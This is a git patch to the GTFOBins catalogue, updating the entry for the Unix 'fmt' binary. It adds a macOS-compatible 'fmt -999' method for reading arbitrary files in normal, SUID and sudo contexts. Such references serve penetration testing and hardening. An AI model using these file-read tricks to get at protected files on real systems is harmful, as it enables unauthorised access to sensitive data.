From 304e338c2f2a1ceec6aebb859990f98cb175a5f2 Mon Sep 17 00:00:00 2001 From: "Mr. Robot" Date: Wed, 8 Jan 2020 15:50:13 +0100 Subject: [PATCH] Add macOS file read for fmt --- _gtfobins/fmt.md | 17 ++++++++++++----- 1 file changed, 12 insertions(+), 5 deletions(-) diff --git a/_gtfobins/fmt.md b/_gtfobins/fmt.md index 3061c48..c9f57e2 100644 --- a/_gtfobins/fmt.md +++ b/_gtfobins/fmt.md @@ -2,15 +2,22 @@ description: The read file content is not binary-safe. functions: file-read: - - code: | + - description: This only works for the GNU version of `fmt`. + code: | LFILE=file_to_read fmt -pNON_EXISTING_PREFIX "$LFILE" + - description: This corrupts the output by wrapping very long lines at the given width. + code: | + LFILE=file_to_read + fmt -999 "$LFILE" suid: - - code: | + - description: This corrupts the output by wrapping very long lines at the given width. + code: | LFILE=file_to_read - ./fmt -pNON_EXISTING_PREFIX "$LFILE" + ./fmt -999 "$LFILE" sudo: - - code: | + - description: This corrupts the output by wrapping very long lines at the given width. + code: | LFILE=file_to_read - sudo fmt -pNON_EXISTING_PREFIX "$LFILE" + sudo fmt -999 "$LFILE" ---